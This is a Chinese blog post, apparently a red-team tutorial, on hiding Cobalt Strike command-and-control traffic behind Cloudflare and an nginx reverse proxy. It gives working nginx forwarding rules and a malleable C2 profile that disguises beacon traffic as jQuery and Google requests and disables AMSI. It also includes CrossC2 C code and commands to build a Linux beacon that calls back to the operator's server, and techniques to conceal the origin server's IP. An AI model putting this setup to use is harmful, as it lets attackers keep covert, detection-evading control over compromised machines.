37

CobaltStrike流量伪装与安全配置

 2 years ago
source link: https://yanghaoi.github.io/2021/08/19/cobaltstrike-liu-liang-yin-cang-yu-an-quan-pei-zhi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x01 前言

CobaltStrike在使用过程中经常会涉及到一些安全隐藏方面的配置,我使用的方案是CDN加上nginx转发,再使用profile来修改流量特征,本文对一些细节上的点进行记录,方便以后查阅。首先是域名和CDN上的配置,然后是CobaltStrike一些证书、profile的配置,最后是前置服务器(nginx)的一些配置方法。

0x02 CDN和域名相关配置

在freenom申请测试域名(google.tk)后,到cloudflare中获取名称服务器地址:
gYbmjWcxEZJnOFh.png
然后在freenom中配置:
amWJj8v31VLpd5i.png

DUxprVQndS9sc8A.png
CDN中配置A记录,解析IP,并使用代理:
rytjsFLmpWhCDN3.png
这样就能使用cloudflare的CDN加速了,然后开启nginx,配置server_name,访问:
4SGJMUNEm3P18Li.png

接下来为域名配置源服务器证书,选择创建证书:
H1fLYowxcvXWaP7.png

clJkq84tH65aoxG.png
将获取到的证书和key文件配置在nginx中,在ubuntu上修改nginx配置文件 /etc/nginx/nginx.conf::

server {
    listen 443 ssl;
    server_name m.test.com;
    ssl_certificate  key/xxx.com_ssl.pem;
    ssl_certificate_key key/xxx.com_key;
    ssl_session_timeout 5m;
    ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;    
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}

配置好了 nginx -t 检查,然后nginx -s reload重载配置:
TCl2UMb9B1JQj7p.png

证书配置好以后,在cloudflare中将SSL/TLS加密模式设置为严格:
8b4o6EtMmQviIkx.png
访问域名,严格的https已经启用,从客户端到CDN,CDN到服务器全部使用HTTPS:
jzmSAcKO6NPxron.png

0x03 nginx的反向代理配置

反向代理配置就是匹配到特定的路径时,nginx将流量转发到后端的CobaltStrike处理,主要有四个路径,用于心跳和接收命令的GET包,用于返回命令执行结果等的POST包,剩下两个是x86和x64的stager,然后匹配到了就使用proxy_pass转发,比如后面会用到jq的profile,在profile中很容易找到这些url,然后配置nginx.conf关键部分如下:

server {
    listen 443 ssl;
    #要处理的域名
    server_name m.test.com;
    #证书
    ssl_certificate  key/xxx.com_ssl.pem;
    ssl_certificate_key key/xxx.com_key;
    ssl_session_timeout 5m;
    ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;    
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    #流量转发
    location /jquery-3.3.1.slim.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }
    location /jquery-3.3.2.slim.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }
    location /jquery-3.3.2.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }    
    location /jquery-3.3.1.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }
    #默认首页
    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}

0x04 CobaltStrike服务配置

前置nginx基本配置好了后,接下来进行一些CobaltStrike的配置。主要是证书和profile配置。将压缩包上传到服务器解压后:
G9FqjARPEr1nS8a.png
先用keytool生成证书,这个证书可以用来做为管理端口(默认是50050)或者监听器的端口上的https证书,只要不用默认的随便配置就好:

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 1314520.com -validity 50000 -dname "CN=, OU=1314520.com, O=1314520.com, L=Redmond, S=Washington, C=US"

keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12

编辑启动脚本(Linux下的teamserver或者Windows下的teamserver.bat)中的端口和证书配置密码:

java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -Xms512m -Xmx1024m -Dcobaltstrike.server_port=5555 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

简单的Profile配置

启动参数调好后,Profile是用的malleable-c2,在配置文件中按需修改下面的参数:

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"; # 这个改了不要再变,否则上不了线
set dns_idle        "8.8.8.8";   #dns的特征修改
#header "Content-Type" "application/javascript; charset=utf-8"; #注释默认Type,防止cf缓存

然后启动teamserve vpsip Password Profile,如Linux下:

chmod +x teamserver
./teamserver x.x.x.x password malleable-c2/jquery-c2.4.0.profile

持久化可以将下面的命令写入文件,如start_teamserver,chmod赋予执行权限后,可以方便的使用./start_teamserver启动,停止就用pkill java,脚本如下:

nohup ./teamserver x.x.x.x password malleable-c2/jquery-c2.4.0.profile >/dev/null 2>&1 &

执行./start_teamserver后可以尝试链接vps5555端口的teamserver了:
Iaywfv31V6HbgLh.png

CobaltStrike监听器配置

进入teamserver后,配置监听器。CDN在HTTPS上会检查SNI用不了域前置(http上可以修改host),这里使用加速过的域名:
RhiCeKNSg6WPDY5.png
测试上线时会发现执行命令、执行stager不返回的情况,这是因为cdn的缓存原因,到CDN设置页面规则,对js文件绕过缓存:
SiEUeATYO32w9uk.png
配好后清除下缓存:
fdCnIz91qYBpkNS.png
然后测试上线和命令执行返回:
yYZ1pXkCGiOBndm.png

Linux和Windows中Profile通用配置

有时候我们想使用Crossc2来上线cs,但是我们的windows中配置了profile的,linux无法直接上线,所以需要在Crossc2中配置请求的路径,参考协议演示
根据demo,准了新的init.profile,init.c
init.profile:

set sample_name "daidaiwoya";
set sleeptime "2000";
set jitter    "15";
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko";
set host_stage "false";

set maxdns          "255";
set dns_max_txt     "252";
set dns_idle        "8.8.8.8"; 
set dns_sleep       "500"; 
set dns_stager_prepend ".resources.741256.";
set dns_stager_subhost ".feeds.952365.";

https-certificate {
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

http-get {
    set uri "/getversion";
    set verb "GET";
    client {
        header "Accept" "text/xml";
        header "Host" "www.google.com";
        header "Referer" "http://www.google.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            base64url;
            prepend "SID=";
            header "Cookie";
        }
    }
    server {
        header "Server" "nginx";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "charset=utf-8";
        header "X-Cache" "bypass";

        output {
            base64;
            prepend "sign=";
            append "5.4.3";
            print;
        }
    }
}

http-post {
    set uri "/kernel.org";
    set verb "POST";
    client {
        header "Accept" "text/xml";
        header "Host" "www.google.com";
        header "Referer" "http://www.google.com/";
        header "Accept-Encoding" "gzip, deflate";

        id {
            base64;
            prepend "__cfduid=";
            header "Cookie";
        }

        output {
            base64;
            print;
        }
    }
    server {
        header "Server" "nginx";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "charset=utf-8";
        header "X-Cache" "bypass";

        output {
            mask;
            base64url;
            prepend "sign=";
            append "code=2";
            print;
        }
    }
}

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
}

http-config {
    set trust_x_forwarded_for "true";
}

init.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// gcc -shared profile.c -o libprofile.so
// ./genCrossC2.Linux 192.168.11.1 8086 null libprofile.so Linux x64 ./shell

void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
    //修改请求URL和c2profile文件中一致
    char *requestBody = "GET /%s HTTP/1.1\r\n"
        "Host: www.google.com\r\n"
        "Accept: text/xml\r\n"
        "Accept-Encoding: gzip, br\r\n"
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko\r\n"
        "Cookie: SID=%s\r\n"
        //"Referer: https://www.google.com/\r\n"
        "Connection: close\r\n\r\n";
    char postPayload[20000];
    sprintf(postPayload, requestBody, "getversion", reqData);

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);

}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
    char *requestBody = "POST /%s HTTP/1.1\r\n"
        "Host: www.google.com\r\n"
        "Accept: text/xml\r\n"
        "Accept-Encoding: gzip, br\r\n"
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko\r\n"
        "Cookie: __cfduid=%s\r\n"
        "Referer: https://www.google.com/\r\n"
        "Connection: close\r\n"
        "Content-Length: %d\r\n\r\n%s";
    char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
    sprintf(postPayload, requestBody, "kernel.org", id, strlen(reqData), reqData);

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);
    free(postPayload);
}

char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {

    //find_payload() 从原始数据中,找到以"ffffffff1"字符串开始,"eeeeeeee2"字符串结束中间包含的数据

    // ffffffff1AAAABBBBCCCCDDDDeeeeeeee2 -> AAAABBBBCCCCDDDD

    // *payload_len = xx; // 返回找到的payload长度
    // return payload; // 返回找到的payload

    rawData = strstr(rawData, start) + strlen(start);

    *payload_len = strlen(rawData) - strlen(strstr(rawData, end));

    char *payload = (char *)calloc(*payload_len ,sizeof(char));
    memcpy(payload, rawData, *payload_len);
    return payload; 
}

void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {

    char *start = "sign=";
    char *end = "5.4.3";

    long long payload_len = 0;
    *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
    *outputData_len = payload_len;
}

void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {

    char *start = "sign=";
    char *end = "code=2";

    long long payload_len = 0;
    *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
    *outputData_len = payload_len;
}

Profile检查:

java -XX:ParallelGCThreads=4 -Duser.language=en -XX:+UseParallelGC -classpath ./cobaltstrike.jar c2profile.Lint init.profile

使用profile:

cmd /k teamserver_win.bat 192.168.11.1 123456 init.profile

然后在Ubuntu上生成二进制文件:

gcc init.c -fPIC -shared -o init.so
./genCrossC2.Linux41 192.168.11.1 8086 .cobaltstrike.beacon_keys init.so Linux x64 ./shell

wkGnHh1BlFStJub.png
然后执行./shell,成功的返回了beacon:
x81X4CEf3y6uNrg.png

2.使用CrossC2-C2Profile
在github上看到Richard-Tang师傅实现了jquery-c2.4.0.profile的兼容,进行了测试使用(profile日期报错的时候cs启动参数加上 -Duser.language=en ):
rSohkVPEYxjXKBn.png

3.Linux在CDN中上线
在CrossC2_v2.24中不使用cdn,使用域名可以正常上线;使用cdn后web无日志,无上线;在v2.2.5中使用域名正常上线,但是心跳不稳定,一会就超时了。
t2E8FbaAjlRsYNH.png

0x04 CDN后获取真实源IP

1.Cloudflare请求会自带X-Forwarded-For头,在nginx中设置一下X-Forwarded-For标头(不设置容易获取到127.0.0.1),CobaltStrike需要在profile中开启 X-Forwarded-For 获取,
nginx.conf:

server {
        ...
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        #代理到cs
        proxy_pass http://127.0.0.1:60100;
}

profile设置:

http-config {
set trust_x_forwarded_for "true";
}

Cloudflare还可以使用标头CF-Connecting-IP来获取真实IP,使用需要开启标头下划线支持,不然不能用这个参数,一般来说使用这个参数获取的比较准确:

server {
        listen 80;
        server_name  _;
        access_log  logs/cname.log  main;
        #开启请求中的下划线支持,方便使用自定义的header头
        underscores_in_headers on; 
        #把CF-Connecting-IP请求头设置为X-Forwarded-For
        proxy_set_header X-Forwarded-For $http_cf_connecting_ip; 
        #代理到cs
        proxy_pass http://127.0.0.1:60100;
}

2.在nginx中$remote_addr用来存请求的真实来源IP,一般CDN回源时都会有请求头来记录客户端真实IP(像cf用的上面说的两个,阿里CDN用的Ali-CDN-Real-IP),nginx记录来源IP的参数是$remote_addr,可以用来在日志中记录IP,使用real_ip_header来设置,比如在Cloudflare中设置$remote_addr真实来源,在server段中配置日志保存格式和路径,可以很方便的对日志进行分别管理查看:

 log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
 server {
         ...
        server_name www.xx.com;
        ...
        #CDN回源IP段
        set_real_ip_from 103.21.244.0/22;
        set_real_ip_from 103.22.200.0/22;
        set_real_ip_from 103.31.4.0/22;
        set_real_ip_from 104.16.0.0/12;
        set_real_ip_from 108.162.192.0/18;
        set_real_ip_from 131.0.72.0/22;
        set_real_ip_from 141.101.64.0/18;
        set_real_ip_from 162.158.0.0/15;
        set_real_ip_from 172.64.0.0/13;
        set_real_ip_from 173.245.48.0/20;
        set_real_ip_from 188.114.96.0/20;
        set_real_ip_from 190.93.240.0/20;
        set_real_ip_from 197.234.240.0/22;
        set_real_ip_from 198.41.128.0/17;
        set_real_ip_from 2400:cb00::/32;
        set_real_ip_from 2606:4700::/32;
        set_real_ip_from 2803:f800::/32;
        set_real_ip_from 2405:b500::/32;
        set_real_ip_from 2405:8100::/32;
        set_real_ip_from 2c0f:f248::/32;
        set_real_ip_from 2a06:98c0::/29;
        set_real_ip_from 127.0.0.1;
        #从请求头中获取IP
        real_ip_header CF-Connecting-IP;

        #将CF-Connecting-IP里不在set_real_ip_from中的IP当做真实IP
        real_ip_recursive on;

        #使用$remote_addr
        proxy_set_header X-Forwarded-For $remote_addr;
        #日志记录
        access_log  logs/www.xx.com.log  main;
}

这里要注意一下,如果网站使用了HTTPS,默认情况下CDN会将http重写为https,存在原来80端口的服务访问不了的情况,可以在cdn中关闭自动重写:
hVaCODR4tbjI9zw.png

0x05 Nginx中server_name的配置

nginx中使用server_name定义虚拟主机名,设置server_name指定要处理的域名:

server {
    listen 80;
    server_name www.baidu.com;
    location / {
        return 200 'baidu found!';  
    }
}

server {
    listen 80;
    server_name www.qq.com;
    location / {
        return 200 'qq found!';  
    }
}

R6nbVug1tOWhXca.png

其他的默认情况:

server {
listen 80;
server_name _;
#可以对host进行一些判断
if ($host != "www.qq.com") {
        return 501;
}
 location / {
        return 200;
    }
}

NKA53bUMi1GjelI.png

SpfTPxj4sc68AVU.png

0x06 Nginx使用WAF

使用waf可以防御一些恶意扫描,这里使用了openresty来使用lua的waf,将waf代码放到lua/waf下,然后在nginx配置文件http段中添加引入即可:
oNHk7TExQghsIAJ.png

    # WAF
    lua_shared_dict limit 50m;
    lua_package_path "./lua\waf/?.lua;;";
    init_by_lua_file "./lua/waf/init.lua";
    access_by_lua_file "./lua/waf/access.lua";

可以在config.lua中进行详细的配置:
ovENWjJAMLgFTy3.png
触发规则会进行拦截:
XNhlgasn3ecwYbZ.png
各种规则可以在rule-config中详细配置。

0x07 针对来源IP限制返回内容

有时候请求不是走正常路径过来的,可以设置nginx只对CDN来源IP开放访问,其他地址拒绝(这个会和获取真实IP那个冲突,获取真实IP可以写在location块里,就不要写在server里了):

http{
 #通过if判断值,如果是是CDN的IP,$allow_ip = 0,否则就是default 1。
    geo $allow_ip {
        default             1;
        173.245.48.0/20    0;
        103.21.244.0/22    0;
        103.22.200.0/22    0;
        103.31.4.0/22     0;
        141.101.64.0/18    0;
        108.162.192.0/18   0;
        190.93.240.0/20    0;
        188.114.96.0/20    0;
        197.234.240.0/22   0;
        198.41.128.0/17    0;
        162.158.0.0/15     0;
        104.16.0.0/12      0;
        172.64.0.0/13      0;
        131.0.72.0/22      0;
    }
}
server  {
        listen 80 default;
        #任意host
        server_name _;
         #以http对IP的访问,不是来自允许的源不提供服务,返回301。
        if ($allow_ip){return 301;}
         location / {
                # 返回内容
                return 404;
            }
    }

0x08 防止HTTPS访问IP泄露证书

有时候会发现我们VPS的真实IP泄露了,在nginx配置不当时,就可以通过证书泄露IP,通过fofa看到在该IP上的证书:
a4t9ZCTqcAwO3rK.png
如果要防止nginx泄露IP,不能通过下列检查host来防御,依然会返回证书:

if ($host != "www.qq.com") {
        return 400;
}

一、可以给IP配置一个自签名的证书,通过https访问IP时返回的就是这个自签名的证书
1.免费证书获取可以在csr.chinassl.net和Let’s Encrypt获取,以csr.chinassl.net为例:
pEJN2s3IwTVPCB8.png
然后下载得到CSR文件和KEY文件,然后上传CSR生成证书即可:
eg9ADmYodHzXkOt.png
获取后会得到.crt文件,在nginx中配置即可。

当然了,还可以使用使用openssl(windows下载:https://slproweb.com/products/Win32OpenSSL.html)命令生成自签名的证书:

openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout ssl.key -out https.crt

2.nginx配置
server_name配置成任意,作为默认配置,没有匹配到server_name时就返回此处配置内容:

server {
    listen 443 ssl;
    server_name _;
    ssl_certificate  key/xxx.com_ssl.crt;
    ssl_certificate_key key/xxx.com_key;
    ssl_session_timeout 5m;
    ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;    
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    location / {
        return 404;
    }
}

这样一来访问IP就使用这个自签名的证书,访问域名就使用域名的证书,不会造成IP和域名关联。
二、不配置证书,使用CDN灵活模式
灵活模式是指客户端与CDN进行HTTPS通信,CDN与服务器HTTP通信,这样证书来源直接就是CDN的,nginx只需要在80端口配置即可:
灵活模式
边缘证书中设置始终使用HTTPS:
8dlsYFL6ctDTxu4.png
访问网站,查看证书:
bJRVhYvtU1cqyB2.png
这种方式确实灵活,不用配证书,可以将http的访问自动重写为https。还可以在边缘证书中设置一个随机加密(HTTP/2),访问的时候是http,但是会使用加密:
Ud7rW9RYjEJMDan.png

0x09 参考链接

https://github.com/unixhot/waf

https://www.cnblogs.com/Xy--1/p/14396744.html

https://support.cloudflare.com/hc/zh-cn/articles/200170786-%E6%81%A2%E5%A4%8D%E5%8E%9F%E5%A7%8B%E8%AE%BF%E9%97%AE%E8%80%85-IP-%E4%BD%BF%E7%94%A8-mod-cloudflare-%E8%AE%B0%E5%BD%95%E8%AE%BF%E9%97%AE%E8%80%85-IP-%E5%9C%B0%E5%9D%80-


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK